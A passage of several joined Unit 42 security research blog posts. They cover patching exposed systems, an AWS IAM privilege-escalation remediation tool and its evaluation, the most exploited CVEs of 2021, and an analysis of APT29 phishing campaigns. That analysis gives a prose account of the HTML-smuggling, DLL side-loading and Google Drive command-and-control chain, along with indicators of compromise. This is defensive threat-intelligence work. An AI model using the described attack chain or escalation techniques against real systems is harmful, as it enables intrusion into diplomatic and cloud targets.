Additionally, end-of-life (EoL) systems remain unpatchable and available to an opportunistic attacker for exploitation. For example, the same report found that nearly 32% of exposed organizations are running the EoL version of Apache Web Server, which is open for remote code execution from the vulnerabilities CVE-2021-41773 and CVE-2021-42013.
We expect this trend to continue and be augmented by the ongoing increase in internet-exposed attack surface.
Conclusion
Organizations may have previously grown used to taking time between the disclosure of a vulnerability and patching it, but while it’s still necessary to perform due diligence on a patch, attackers’ ability to scan the internet in search of vulnerable systems means it’s more important than ever to shorten the time it takes to patch. Organizations need to ramp up patch management and orchestration to try to close these known holes as soon as possible.
An attack surface management solution can help organizations identify vulnerable internet-exposed systems and can often catch systems that organizations may not be aware are running on the network.
The information in this blog is based on the 2022 Unit 42 Incident Response Report, which includes in-depth information on attacker behavior gathered from hundreds of incident response cases as well as a series of interviews with experienced incident responders. Defenders can use these insights to prioritize resources and close cybersecurity gaps that attackers look for and commonly exploit.
The report includes:
The seven most common contributing factors when a breach occurs.
Capabilities attackers most commonly use after initially compromising a network.
Our incident responders’ predictions for attack trends in the year to come.
The six key protections our experts recommend that organizations put in place.
Palo Alto Networks customers can take advantage of Cortex Xpanse for attack surface management. Customers also receive protections against the specific vulnerabilities discussed in this post through Cortex XDR, Prisma Cloud, Cloud Delivered Security Services and other products.
If you think you may have been impacted by a cyber incident or have specific concerns about any of the vulnerabilities discussed here, please contact Unit 42 to connect with a team member. The Unit 42 Incident Response team is available 24/7/365. If you have cyber insurance, you can request Unit 42 by name. You can also take preventative steps by requesting any of our cyber risk management services.
In the recent Cloud Threat Report, Unit 42 researchers analyzed more than 680,000 identities across 18,000 cloud accounts from 200 different organizations and found that 99% of cloud users, roles and service accounts are overly permissive. Cloud users commonly grant more permissions to identities than they actually need. These excessive permissions unnecessarily open up a much larger attack surface and increase the risk of privilege escalation. If a security incident occurs, adversaries may exploit the excessive permissions to escalate to more privileged roles, such as Administrator.
In light of these concerns, we developed an open source tool to help mitigate the privilege escalation risks of overly permissive identities in AWS. Note that while the fine-grained control that AWS's identity and access management (IAM) service allows can be useful for increasing the security of cloud resources, if the permission policy is not correctly configured or excessive permissions are granted through it, this can instead open the door to increased risk. Our open source tool is designed to help users reduce risk and better utilize the security benefits of the IAM service.
Dubbed IAM-Deescalate, this tool first identifies the users and roles with privilege escalation risks using PMapper. For each risky principal, IAM-Deescalate calculates a minimal set of permissions granted to this principal that can be revoked to eliminate the risks. In particular, IAM-Deescalate inserts an inline policy to explicitly deny the risky permissions that could allow the principal to escalate to administrator privilege.
IAM-Deescalate can remediate all the privilege escalation risks that PMapper identifies. At the time of writing, it can successfully remediate 77% of the known privilege escalation techniques maintained in the IAM Vulnerable project. IAM-Deescalate is lightweight enough to run in any DevOps workflow to detect and prevent any high-risk identity from being deployed. In future releases, we plan to continue to improve the coverage of more privilege escalation techniques.
How Does IAM-Deescalate Work?
Because IAM-Deescalate needs to check and modify identity-based policies, it is intended to be used by authorized users with sufficient IAM permissions. This policy shows the necessary permissions.
Build a Graph of Users and Roles
PMapper models the principals (users and roles) in an AWS account as a directed graph. Each node represents a principal, and each edge represents a transition from one principal to another. If principal A can authenticate as principal B, there is an edge directed from principal A to principal B. One principal can authenticate as another only when certain conditions are met, as detailed in prior research such as AWS IAM Privilege Escalation, That Escalated Quickly and Understanding Privilege Escalation). Figure 1 shows an example graph with five nodes and four directed edges.
User A can assume role B, so there is an edge directed from user A to role B.
Role B can pass role D to an EC2 instance that role B controls, so role B can indirectly authenticate as role D via the EC2 instance.
Role B can update user C’s login profile, so role B can create a new password for user C and log in as user C.
Role B can create a new access key for user C, so role B can also authenticate as user C using the new access key.
User E is disconnected as it does not meet any conditions to authenticate as another principal, and no other principals can authenticate as user E either.
Figure 1. An example graph representing the relationships between users and roles in an AWS account.
Once this graph is fully created, we can search for possible paths between any two principals. There can be zero or multiple paths between any two principals. IAM-Deescalate considers a principal risky for privilege escalation if it is NOT an administrator but has a path to an administrator principal.
Identify and Break the Privilege Escalation Edges
To search for risky principals, IAM-Deescalate divides the graph into two partitions: the non-administrator partition and the administrator partition. Any edges directed from the non-administrator partition to the administrator partition are referred to as privilege escalation edges. In Figure 1, red nodes are in the administrator partition, black nodes are in the non-administrator partition and red edges are the privilege escalation edges. In this example, Role B is the only risky principal and it has three possible privilege escalation edges.
IAM-Deescalate attempts to break all the privilege escalation edges. As aforementioned, an edge is created between two principals only when certain conditions are met. If any of these conditions can no longer hold, the edge is removed. To break a privilege escalation edge, IAM-Deescalate revokes one or multiple necessary conditions that allow the non-administrator principal to transition to the administrator principal. Using the example in Figure 1, IAM-Deescalate breaks the red edges by inserting a policy to role B to explicitly DENY these permissions:
perform iam:CreateAccessKey on user C.
perform iam:UpdateLoginProfile on user C.
perform iam:passrole on role D.
To minimize the potential impact on existing workloads, IAM-Deescalate only revokes the smallest number of permissions sufficient to break an edge. Users can review the proposed remediation plan and manually choose which permissions to revoke or keep. A “revert” option is also available to undo any remediation policies that IAM-Deescalate applied.
Evaluation
We used the IAM-Vulnerable project as a benchmark to evaluate IAM-Deescalate. At the time of writing, IAM-Vulnerable maintains 31 known privilege escalation techniques and can create 31 different users and roles, each with a unique privilege escalation risk. We then used three open-source projects – PMapper (v1.1.5), Cloudsplaining (v0.5.0) and Pacu (v1.0.3) – to check for privilege escalation risks before and after IAM-Deescalate applied the remediation policies to these 31 principals.
Table 1 details the evaluation result. The columns under “Before remediation” show the efficacy of the three privilege escalation scanners. PMapper achieves the highest detection rate (77%), followed by Pacu’s 68% and Cloudsplaining’s 61%. These results are consistent with the findings in the IAM-Vulnerable assessment blog.
The columns under “After remediation” show the efficacy of the three privilege escalation scanners after IAM-Deescalate has applied the remediation policies. All 24 risky principals PMapper identified were successfully remediated. As for Cloudsplaining and Pacu, they both still identified five principals with privilege risks after the remediation process. These are the risky principals that PMapper failed to identify and that IAM-Deescalate did not remediate. Overall, IAM-Deescalate successfully remediates 24 out of 31 (77%) privilege escalation techniques IAM-Vulnerable maintains.
One interesting finding is that Cloudsplaining continues to report privilege escalation risks in every principal even after the remediation. The reason is that Cloudsplaining evaluates each permission policy independently and does not calculate the effective permissions when multiple permission policies are attached to a principal. For example, a user may have three attached policies – two AWS-managed policies and one customer-managed policy. The effective permissions are the resulting permissions considering the conditions and permissions of all three policies. Without the effective permissions, Cloudsplaining cannot see that the inline policy IAM-Deescalate inserted already eliminates the privilege escalation risks in the customer-managed policy.
Privilege Escalation Techniques
Before remediation
After remediation
PMapper
Cloudsplaining
Pacu
PMapper
Cloudsplaining
Pacu
IAM-CreateAccessKey
TP
TP
TP
TN
FP
TN
IAM-CreateLoginProfile
TP
TP
TP
TN
FP
TN
IAM-UpdateLoginProfile
TP
TP
TP
TN
FP
TN
CloudFormation-PassExistingRoleToCloudFormation
TP
TP
TP
TN
FP
TN
CodeBuild-CreateProjectPassRole
TP
FN
FN
TN
TN*
TN*
DataPipeline-PassExistingRoleToNewDataPipeline
FN
TP
TP
FN
TP
TP
EC2-CreateEC2WithExistingInstanceProfile
TP
TP
TP
TN
FP
TN
Glue-PassExistingRoleToNewGlueDevEndpoint
FN
TP
TP
FN
TP
TP
Lambda-PassExistingRoleToNewLambdaThenInvoke
TP
TP
TP
TN
FP
TN
Lambda-PassRoleToNewLambdaThenTrigger
TP
TP
TP
TN
FP
TN
SageMaker-CreateNotebookPassRole
TP
FN
FN
TN
TN*
TN*
SageMaker-CreateTrainingJobPassRole
TP
FN
FN
TN
TN*
TN*
SageMaker-CreateProcessingJobPassRole
TP
FN
FN
TN
TN*
TN*
IAM-AddUserToGroup
FN
TP
TP
FN
TP
TP
IAM-AttachGroupPolicy
TP
TP
TP
TN
FP
TN
IAM-AttachRolePolicy
TP
FN
TP
TN
TN*
TN
IAM-AttachUserPolicy
TP
TP
TP
TN
FP
TN
IAM-CreateNewPolicyVersion
TP
TP
TP
TN
FP
TN
IAM-PutGroupPolicy
TP
TP
TP
TN
FP
TN
IAM-PutRolePolicy
TP
FN
TP
TN
TN*
TN
IAM-PutUserPolicy
TP
TP
TP
TN
FP
TN
IAM-SetExistingDefaultPolicyVersion
FN
TP
TP
FN
TP
TP
EC2InstanceConnect-SendSSHPublicKey
FN
FN
FN
FN
FN
FN
CloudFormation-UpdateStack
TP
FN
FN
TN
TN*
TN*
Glue-UpdateExistingGlueDevEndpoint
FN
TP
TP
FN
TP
TP
Lambda-EditExistingLambdaFunctionWithRole
TP
TP
TP
TN
FP
TN
SageMaker-CreatePresignedNotebookURL
FN
FN
FN
FN
FN
FN
SSM-SendCommand
TP
FN
FN
TN
TN*
TN*
SSM-StartSession
TP
FN
FN
TN
TN*
TN*
STS-privesc-AssumeRole
TP
FN
FN
TN
TN*
TN*
IAM-UpdatingAssumeRolePolicy
TP
TP
TP
TN
FP
TN
Total TP
24
19
21
0
5
5
Total FP
0
14
0
Table 1. Testing the effectiveness of IAM-Deescalate using various open source tools.
True positive (TP): The tool reports positive on the vulnerable principal.
False negative (FN): The tool reports negative on the vulnerable principal.
True negative (TN): The tool reports negative on the remediated principal.
(TN*): The tool reports negative on a remediated principal because the tool can’t recognize the privilege escalation technique. The tool always reports negative whether the vulnerability exists or not.
False positive (FP): The tool reports positive on a remediated principal.
Conclusion
The concept of the principle of least privilege is nothing new, but the prevalence of problems related to overly permissive cloud users, roles and service accounts revealed in our Cloud Threat Report showed the large gap between reality and expectation. The situation could worsen if adversaries can exploit excessive permissions to escalate to administrator privilege. We developed and open sourced IAM-Deescalate to mitigate privilege escalation risks in AWS. IAM-Deescalate identifies risky principals and calculates the minimal set of permissions that can be revoked to break the attack paths. As new privilege escalation techniques will continue to be discovered, we welcome the open-source community to join us to continue improving the tool.
Additional Resources
IAM Access Analyzer: An AWS service that helps validate IAM policies and generate least-privilege policies based on the cloud trail logs. AirIAM: An open source tool that scans IAM activities and creates a terraform template that can provision least-privilege permission policies. Cloud Infrastructure Entitlement Management (CIEM): A service that provides a multi-cloud solution to monitor IAM permissions and continuously enforce least-privileged access.
Tens of thousands of vulnerabilities are reported every year, but not all are used by threat actors in real-world attacks. There are many reasons for this: a proof of concept (PoC) may not be available for attackers to weaponize, it may be too difficult to exploit the vulnerability, there may be a lack of accessible vulnerable software on the internet, or attackers may simply deem a vulnerability not worth exploiting due to low impact. Real-world defenders need real-world data on which vulnerabilities attackers are choosing to exploit – and where to focus protections.
In the 2022 Unit 42 Network Threat Trends Research Report, we’ve used data captured by the Palo Alto Networks Advanced Threat Prevention security service on Next-Generation Firewall and Prisma SASE from regions including the United States, Singapore, Japan, Australia, Canada and Europe to observe and analyze exploits in the wild. Our data includes attacks on organizations including universities, hospitals, e-commerce vendors, financial institutions and tech companies. It includes 262 million attack traffic sessions from 2021, excluding internal traffic.
We’ve used this information to identify which vulnerabilities attackers exploited most commonly in 2021, and to predict which vulnerabilities they are likely to focus on in 2022 and 2023. We recommend that organizations patch the vulnerabilities listed below.
Palo Alto Networks customers receive protections against the vulnerabilities discussed here through our Cloud-Delivered Security Services, namely Advanced Threat Prevention. We also offer coverage across the attack lifecycle with complementary protection from WildFire, Advanced URL Filtering and DNS Security. These services can be deployed across the entire enterprise via Next-Generation Firewall physical and virtual appliances, and Prisma Access.
Unsurprisingly given their severity and ease of exploitation, the Apache Log4j vulnerabilities were the most exploited CVEs of 2021, with over 11 million attack sessions observed in less than one month. Though the vulnerabilities were made public in December 2021, attack sessions against them account for 4.2% of the total attack sessions observed, underscoring the profound impact these vulnerabilities had on security.
However, attackers also make heavy use of older vulnerabilities. Some of the top vulnerabilities we identified were disclosed as far back as 2017. This demonstrates the importance of understanding your organization’s attack surface and ensuring that older software is properly managed.
Figure 1. Most exploited CVEs of 2021.
For the seventh most exploited vulnerability listed above – “F5 TMUI/ForgeRock Open AM” – we combined CVE-2020-5902 and CVE-2021-35464 as they were both logged due to the Apache path normalization issue and therefore related. Others that show two or more CVEs are similar in nature and target the same vendor. It’s important to note that intrusion prevention system (IPS) vendors, including Palo Alto Networks, can use a single threat prevention signature to detect multiple, similar CVE attacks.
CVEs to Watch in 2022 and 2023
We conducted secondary analysis of the malicious sessions observed in attack traffic to search for insights to inform defenders of the vulnerabilities that are likely to be popular with attackers in 2022 and early 2023.
To select the CVEs for this list, we evaluated vulnerabilities based on the following criteria:
Severity: All vulnerabilities listed below are considered high or critical severity.
Vendor: Attackers are more likely to focus on vulnerabilities that affect widely used products.
Impact: Vulnerabilities that allow, for example, remote code execution could allow attackers to do significant damage to a targeted organization.
Attack complexity: CVEs that don’t require a complex attack path, or for which proofs of concept are readily available are easier for attackers to exploit.
Exploits in the wild: If attackers are already exploiting a vulnerability, they are likely to continue.
The table below lists the top 10 vulnerabilities to watch. The version in the full report also includes links to existing research and potential patches.
Figure 2. CVEs predicted as top threats for 2022 and 2023.
We recommend that defenders take steps to protect against the CVEs listed above, including applying patches after due diligence.
Conclusion: Why We Hope Our List of Top CVEs Is Wrong
We carefully evaluated the CVEs we highlighted above to help organizations prioritize protections – but our hope is that when we evaluate top vulnerabilities of this year in 2023, they won’t look anything like our list above.
Ideally, by drawing attention to these vulnerabilities and providing visibility into how to stop them, we’ve encouraged network security teams to increase defenses against them – forcing attackers to look elsewhere. We’ll consider it even more of a success if threat actors wind up focusing on less impactful vulnerabilities than the ones listed here. Is that win/win or a win/loss?
The information in this blog was drawn from the 2022 Unit 42 Network Threat Trends Research Report. Download the full report to gain more insights into trends in network vulnerabilities and links to research, as well as data gathered from our telemetry on malware families and file types. The report also contains case studies on Log4Shell and SiloScape, a discussion of the use of customized and encoded command and control (C2) by Cobalt Strike, and an in-depth analysis of the Apache HTTP Server Path Traversal Vulnerability listed above as a potential top vulnerability in the year to come.
Our security experts round out the report with recommendations on how to fully assess your network security posture, how to deploy preventions for unknown command and control, and how to implement Zero Trust.
Palo Alto Networks customers receive protections against the vulnerabilities discussed here through our Cloud-Delivered Security Services, namely Advanced Threat Prevention. We also offer coverage across the attack lifecycle with complementary protection from WildFire, Advanced URL Filtering and DNS Security. These services can be deployed across the entire enterprise via Next-Generation Firewall physical and virtual appliances, and Prisma Access.
Organizations around the world rely on the use of trusted, reliable online storage services – such as DropBox and Google Drive – to conduct day-to-day operations. However, our latest research shows that threat actors are finding ways to take advantage of that trust to make their attacks extremely difficult to detect and prevent. The latest campaigns conducted by an advanced persistent threat (APT) that we track as Cloaked Ursa (also known as APT29, Nobelium or Cozy Bear) demonstrate sophistication and the ability to rapidly integrate popular cloud storage services to avoid detection.
The use of trusted, legitimate cloud services isn't entirely new to this group. Extending this trend, we have discovered that their two most recent campaigns leveraged Google Drive cloud storage services for the first time. The ubiquitous nature of Google Drive cloud storage services – combined with the trust that millions of customers worldwide have in them – make their inclusion in this APT’s malware delivery process exceptionally concerning.
When the use of trusted services is combined with encryption, as we see here, it becomes extremely difficult for organizations to detect malicious activity in connection with the campaign.
The cybersecurity industry has long considered Cloaked Ursa to be affiliated with the Russian government. This aligns with the group’s historic targeting focus, dating back to malware campaigns against Chechnya and other former Soviet bloc countries in 2008. In recent years, the hack of the United States Democratic National Committee (DNC) in 2016 has been attributed to this group, as well as the SolarWinds supply chain compromises in 2020. Increasing the specificity of the attribution, both the United States and the United Kingdom have publicly attributed this group to Russia’s Foreign Intelligence Service (SVR).
The most recent campaigns by this actor provided a lure of an agenda for an upcoming meeting with an ambassador. These campaigns are believed to have targeted several Western diplomatic missions between May and June 2022. The lures included in these campaigns suggest targeting of a foreign embassy in Portugal as well as a foreign embassy in Brazil. In both cases, the phishing documents contained a link to a malicious HTML file (EnvyScout) that served as a dropper for additional malicious files in the target network, including a Cobalt Strike payload.
Palo Alto Networks customers receive protections from the indicators of compromise (IoCs) described in this blog through Cortex XDR, Advanced URL Filtering, DNS Security and WildFire malware analysis.
Full visualization of the techniques observed, relevant courses of action and IoCs related to this report can be found in the Unit 42 ATOM viewer.
Palo Alto Networks disclosed this activity to both Google and DropBox, and they have taken action to block the activity.
Names for threat actor group discussed
Cloaked Ursa, APT29, Nobelium, Cozy Bear
Latest Campaigns
On May 13, 2022, Cluster25 published a report that outlined Cloaked Ursa’s inclusion of DropBox services in their malware campaigns for the first time. (Here, we refer to this as campaign 1.) Searching for similar techniques, we have seen the actors continue to evolve their tactics, including by incorporating popular online storage services in their campaigns.
Less than two weeks after the Cluster25 report, on May 24, 2022, Unit 42 identified a new campaign targeting a NATO country in Europe. (We refer to this as campaign 2.)
The campaign oddly consisted of two emails to the same target country a few hours apart. Both emails contained the same lure document named Agenda.pdf, which provided a link to an agenda for an upcoming meeting with an ambassador in Portugal.
Figure 1. Portuguese Embassy lure file.
Examining the two emails sent to the targeted nation provided clues as to why two emails were sent. The first email was sent at 2022-05-24T11:41:55Z with an Agenda.pdf hash of a0bdd8a82103f045935c83cb2186524ff3fc2d1324907d9bd644ea5cefacbaaf. This PDF had the following traits:
Interestingly, this sample was last modified roughly two hours before it was sent to its target. Additionally, this sample was designed to call out to DropBox to retrieve an EnvyScout payload.
The second email was sent at 2022-05-24T13:46:54Z with an Agenda.pdf hash of f9b10323b120d8b12e72f74261e9e51a4780ac65f09967d7f4a4f4a8eabc6f4c. This PDF had the following traits:
Similarly, this second sample was last modified less than an hour before it was sent to its target. Comparing the two samples, we see that the creation times remained consistent while the modification times aligned to the dates when the samples were used. The producer version in the second sample is incrementally higher, climbing from 12 to 14. Additionally, we see that the link in the document was updated to point to a legitimate web and digital marketing company in Toronto (wethe6and9[.]ca).
While speculative, one likely scenario is that the recipient could not access the file hosted in DropBox. There could be various reasons for this, including restrictive government network policies blocking access to cloud storage services. Regardless of the reason, the actors were compelled to rapidly build and send a second spear phishing email the same day with a link to an EnvyScout HTML file with the same name hosted on a legitimate website.
Pivoting on the creation time, producer and PDF version metadata in the two samples, we were able to quickly identify several additional suspicious documents in VirusTotal dating back to early April 2022. Many of these documents appear to be phishing documents associated with common cybercrime techniques. This suggests that there is likely a common phishing builder being leveraged by cybercrime and APT actors alike to generate these documents.
Table 1. Samples with similar metadata.
Reviewing this list, we identified a third Agenda.pdf created on June 30, 2022 that we assess to be part of a second phishing campaign by Cloaked Ursa. Examining the file, we found that its lure was consistent with the previous campaign. Specifically, the lure contained the same language and a similar link to an EnvyScout dropper hosted on a legitimate domain (porodicno[.]ba/wp-content/Agenda.html). Where the two campaigns differed was their target. While the first two lures were addressed to a Portuguese Embassy, this third lure was addressed to an embassy in Brazil.
Figure 2. Campaign 2 lure file Agenda.pdf
Finally, in comparing both campaigns, we found that Cloaked Ursa had evolved their use of cloud storage services in their delivery tactics. Notably, rather than continuing their use of the DropBox services, identified by Cluster25 in early May, these new campaigns incorporated Google Drive storage services as a means to obfuscate their actions and deploy additional payloads into target environments. A detailed analysis of both campaigns can be found below, particularly starting with the sections on Campaign 2 and Campaign 1.
Recent Related Cloaked Ursa Campaigns
The May campaign using Agenda.pdf represents repeat targeting of a particular NATO country. On Jan. 17, 2022, just days after the WhisperGate attacks in Ukraine, this NATO country was targeted in a Cloaked Ursa phishing campaign using a lure with the subject line of “Note Verbal - Ambassador Absence.”
Additionally, this is not the first time we have seen Portugal serve as a focus for Cloaked Ursa campaigns. On Feb. 8, 2022, a phishing campaign targeted the Austrian Ministry of Foreign affairs. This campaign used a lure of “NV - Non-working days of the Embassy of Portugal” and originated from a potentially compromised Portuguese government email account.
Figure 3. Email to Austrian Ministry of Foreign Affairs.
Days later, on Feb. 17, 2022, another phishing campaign was discovered with a lure of “Embassy closure due to COVID-19.” The text of the email stated that the Embassy of the Republic of Turkey was being transferred to a state of isolation and was closing to the public. While the target of that campaign remains unknown, the original email was eventually seen by an employee of the Portuguese Ministry of Foreign Affairs who promptly forwarded the malicious email to their embassy staff in Egypt. Both of these email campaigns contained the malicious EnvyScout dropper.
Figure 4. Email to Portuguese Embassy in Egypt.
Campaign 2
Beginning with the most recent spear phishing activity first, we analyzed a diplomatic-themed PDF file named Agenda.pdf (SHA256: ce9802b22a37ae26c02b1f2c3225955a7667495fce5b106113434ab5a87ae28a).
Figure 5. VirusTotal detections for campaign 2 lure file Agenda.pdf
This PDF document contains information that appears to address a foreign embassy in Brazil while using Brazil's official logo and notably misspelling “Brazil” as “Brzail.” The document was created on April 4, 2022, and later modified on June 30, 2022. All three URL links in the document point to an internet-facing web server that is hosting a file named Agenda.html. This file is EnvyScout, a malicious HTML document. The contents of Agenda.pdf are shown in Figure 6 below.
Figure 6. Campaign 2 lure file Agenda.pdf
A high-level overview of campaign 2 is depicted below in Figure 7.
Figure 7. Campaign 2 overview.
EnvyScout – Agenda.html, Malicious HTML File
EnvyScout can be described as an auxiliary tool that is used to further infect the target with the actor's implant. It is used to deobfuscate the contents of the secondary malware, which is a malicious ISO file. This technique is known as HTML Smuggling. In this case, the file Agenda.html is responsible for deobfuscating a payload, and also for writing a malicious ISO file to the intended target hard drive. The payload file is an ISO file named Agenda.iso. It should be noted that the word “Agenda” is used throughout this attack, starting with the lure file, Agenda.pdf, and then carrying through to the named files on the target's hard drive.
The deobfuscation of the embedded payload is performed by subtracting 17 from each value. Once complete, the data is saved as Agenda.iso.
Figure 8. Deobfuscation routine in EnvyScout Campaign 2.
The saving of the ISO is performed via JavaScript with the first attempt using the msSaveOrOpenBlob method. This method is the same as a user using Internet Explorer wanting to download and save/open a file from the internet. In the event this fails, a second file save method is used, console.save. This method creates a FileBlob from the input, and then automatically downloads it to the target. At this stage of infection, the user is prompted to open Agenda.iso by double clicking it.
Figure 9. Agenda.html ISO download.
Layers to Code Execution
Once the ISO has been downloaded, user interaction is required in order to achieve code execution on the victim machine. The user must double-click the ISO file and subsequently double-click the shortcut file, Information.lnk, to kick off the unpacking and infection process.
Figure 10. Layers to Stage 2 payload.
Agenda.iso - Malicious ISO Image
Figure 11. Agenda.iso
Agenda.iso (SHA256: 347715f967da5debfb01d3ba2ede6922801c24988c8e6ea2541e370ded313c8b) is the malicious ISO file created by EnvyScout (Agenda.html). At the time of writing, only one vendor on VirusTotal identified this sample as malicious.
Once double-clicked by the user and mounted by the operating system, the following is displayed to the user via Windows File Explorer:
Figure 12. Agenda.iso contents; hidden files not enabled.
By default, Windows File Explorer doesn’t show hidden files. The only file presented is Information.lnk. If “show hidden items” is selected, Windows File Explorer displays the following:
Converts to: S-1-5-21-2842427291-3266668846-140208303-1103
*Note about the SID in this lnk file. The SID has been found in other APT29 sample lure files (lnk) bundled with Cobalt Strike.
Once the shortcut file is double-clicked by the user, cmd.exe is used to execute agenda.exe in the current working directory. The /k parameter passed to cmd.exe instructs cmd.exe to carry out the execution and wait for agenda.exe to complete.
Agenda.exe – Adobe Executable
Agenda.exe is part of Adobe software, and is originally named WCChromeNativeMessagingHost.exe. It is digitally signed by Adobe, Inc., and is being used to evade detection from endpoint protection and antivirus software by abusing the trust of digitally signed applications. The technique is commonly referred to as DLL Side Loading.
Vcruntime140.dll – DLL loaded by agenda.exe
Vcruntime140 is a dependency file for agenda.exe. Since it exists in the same directory as agenda.exe, Windows will load it, making the APIs it contains available to it. Vcruntime140.dll is a common runtime library for Microsoft Visual Studio (Visual C++) versions 2015/2017/2019. Visual C++ runtime libraries are used for running programs developed in Microsoft Visual Studio. However, this file is not the legitimate Microsoft file, as it has been altered to load the actor’s malicious DLL, vctool140.dll. Hijacking a common library file, such as vcruntime140.dll, avoids obvious detection, as one would assume the file is legitimate.
Vctool140.dll – DLL loaded by vcruntime140.dll
Vctool140.dll is the actor’s core file. It searches for a payload file named underscore (_), decompresses it in memory into a .Net x64 executable and loads it. The file compression algorithm is Microsoft Zip (MSZIP), which requires the dependency file of cabinet.dll. Cabinet.dll is a Microsoft Windows library that is used to decompress Windows cabinet files, and it is typically installed on all Windows operating systems.
The technical details of how code execution is achieved are beyond the scope of this blog. In summary, it is achieved by instantiating the .Net Common Language Runtime (CLR) and using the ICorRuntimeHost interface to execute the loaded assembly. The technique is loading the CLR using native code. The in-memory code is an x64 .Net binary that is named GoogleDrive.
Payload – GoogleDrive
The decompressed payload is that of a .Net X64 executable that has been named GoogleDrive. It has the following properties:
Figure 14. GoogleDrive metadata.
It was compiled on June 29, 2022, and masquerades as a Google product. The binary is using Google Drive API to communicate with a Google account for uploads and downloads to a Google Drive share. It uses the following to authenticate to Google's services:
Loads and executes downloaded payload file in memory.
Finishes.
Campaign 1
For the first campaign observed in late May 2022, the target was a NATO country’s Ministry of Foreign Affairs. Similar to the campaign described above, this campaign also used lure files named Agenda.pdf. While two files were delivered to the intended target, for the purpose of this section, we provide analysis on the execution flow for SHA256 a0bdd8a82103f045935c83cb2186524ff3fc2d1324907d9bd644ea5cefacbaaf.
Figure 17. VirusTotal detections for campaign 1 lure file Agenda.pdf
This sample was sent to the target on May 24, 2022 with the following information:
Email Sender: matysovi@seznam[.]cz
Email Subject: Meeting request - Ambassador of Portugal
Source IP: 77.75.78[.]212
Source Country: Czech Republic (CZ)
This PDF document contains information that appears to address a foreign nation’s embassy in Portugal, and even uses an official Portuguese government logo. The document was created on April 4, 2022, and later modified on May 24, 2022. All three URL links in the document point to a DropBox URL that is hosting a file named, Agenda.html. Similar to the campaign above, Agenda.html is EnvyScout, a malicious HTML document. The contents of Agenda.pdf are shown in Figure 18 below.
Figure 18. Campaign 1 lure file Agenda.pdf
A high level overview of campaign 1 is depicted below in figure 19 below.
Figure 19. Campaign 1 overview.The naming convention for the files involved in both campaigns is the same. For brevity, we will focus on the differences between the two campaigns.
Agenda.html (SHA256: cbe92abb2e275770fdff2e9187dee07cce1961b13c0eda94237aceeb06eefbbd) is a malicious HTML file (EnvyScout) that is hosted on DropBox and is identical to the file used in campaign 2 with the exception of the deobfuscation routine that is used to build the malicious ISO file. In campaign 1, the malicious ISO file is generated by subtracting 13 from each value (instead of 17), as shown below.
Figure 20. Deobfuscation routine in EnvyScout campaign 1.
The deobfuscated payload, agenda.iso (SHA256: de06cf27884440f51614a41623a4b84e0cb3082d6564ee352f6a4d8cf9d92ec5) has the same file names and hidden file attributes as campaign 2. However, the Windows shortcut file is now named Agenda.lnk versus Information.lnk. A complete file listing is shown below in table 3.
Application ID: IMGBURN V2.5.8.0 - THE ULTIMATE IMAGE BURNER!
Volume Set ID: UNDEFINED
Once a user double-clicks the Windows shortcut file, Agenda.lnk, the same runtime artifacts occur as in campaign 2, as depicted below:
Figure 21. Depiction of runtime artifacts.
The underscore file is the MSZIP compressed payload. It is in-memory loaded by the actor’s loader, vctool140.dll. Once decompressed, it is the same code base as in campaign 2, a Google Drive x64 .Net binary. The differences between this Google Drive binary and campaign 2 are:
It was compiled on May 24, 2022.
For persistence, creates the following registry key: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\AdobeUpdate
Like campaign 2, both samples share the same PDB string of:
Figure 22. PDB string.
Conclusion
Cloaked Ursa has been attributed to Russia’s Foreign Intelligence Service (SVR) by both the United States and the United Kingdom. Over the past six months, they have launched several phishing campaigns targeting foreign diplomatic missions.
Since early May, Cloaked Ursa has continued to evolve their abilities to deliver malware using popular online storage services. Their two most recent campaigns demonstrate their sophistication and their ability to obfuscate the deployment of their malware through the use of DropBox and Google Drive services. This is a new tactic for this actor and one that proves challenging to detect due to the ubiquitous nature of these services and the fact that they are trusted by millions of customers worldwide.
We encourage all organizations to review their email policies and the IoCs provided in this report in order to address this threat.
Special thanks to Google’s Threat Analysis Group (TAG) and DropBox for their collaboration and support for this research.
Palo Alto Networks has shared these findings, including file samples and indicators of compromise, with our fellow Cyber Threat Alliance members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance.
Protections and Mitigations
For Palo Alto Networks customers, our products and services provide the following coverage associated with this group:
WildFire cloud-based threat analysis service accurately identifies the known samples as malicious.
Threat Prevention provides protection against Cobalt Strike Beacon traffic.
Cortex XDR prevents the execution of known malware samples as malicious and also prevents the execution of Cobalt Strike using Behavioral Threat Protection.
If you think you may have been impacted or have an urgent matter, get in touch with the Unit 42 Incident Response team or call:
North America Toll-Free: 866.486.4842 (866.4.UNIT42)
One of the complex aspects of working in cyber threat intelligence is how we identify the various elements of an attack campaign we are tracking. We give names to malware families, attack techniques, intrusion sets and even vulnerabilities. The names act as a shorthand that enables us to quickly refer to the threat. How organizations choose these names is a complicated subject, especially with regard to giving code names to the groups behind cyberattacks. If you are interested in hearing more about this subject, check out this Unit 42 podcast from 2018 that discusses threat naming in more detail.
When we first created Unit 42 in 2014, we chose a rather simple policy with regard to threat group naming.
If there was already a commonly used name available, we would use that name. For example, we have used the common name “Sofacy” to refer to what others call APT28, or Fancy Bear.
If there was no common name, we would create a new name for the group at the researchers’ discretion.
Wherever possible, we would include known aliases for the group in our reporting to help others understand how our group is connected to others.
This policy worked when we were small, but Unit 42 has changed significantly in the last eight years. Palo Alto Networks now has significantly more telemetry from our security products that protect networks, endpoints and cloud deployments around the world. Our Incident Response team responds to hundreds of breaches each year.
Today, we commonly find ourselves investigating threats with no common name, and our data set often doesn’t overlap clearly with what other research teams are reporting. We’ve sometimes chosen to report on threats using names that are defined by other security research teams, which tightly couples our assessment to the definition of that threat created by those researchers.
For example, last month we published a report discussing the activities of a specific threat group targeting multiple industries with a new remote access Trojan we called PingPull. We aren’t aware of any common names for this group, so we used the best one available, GALLIUM, which was defined by Microsoft.
We continue to track this group’s activity and that of many others, and our team finds it necessary to update our naming policy so we can more clearly refer to the threats we’re tracking based on our distinct telemetry and analysis.
Looking to the Stars
Developing a new system for threat group naming isn’t as simple as it might seem, there are many options to consider. Some naming schemes are simple and numeric without any context about the threat group implied by the name. Others provide the intelligence consumer insight about the group simply by hearing the name. There are naming systems based on animals, elements, insects and many more. We needed something that would not overlap with any of these to avoid naming collisions and ensure Unit 42 names are easily identified.
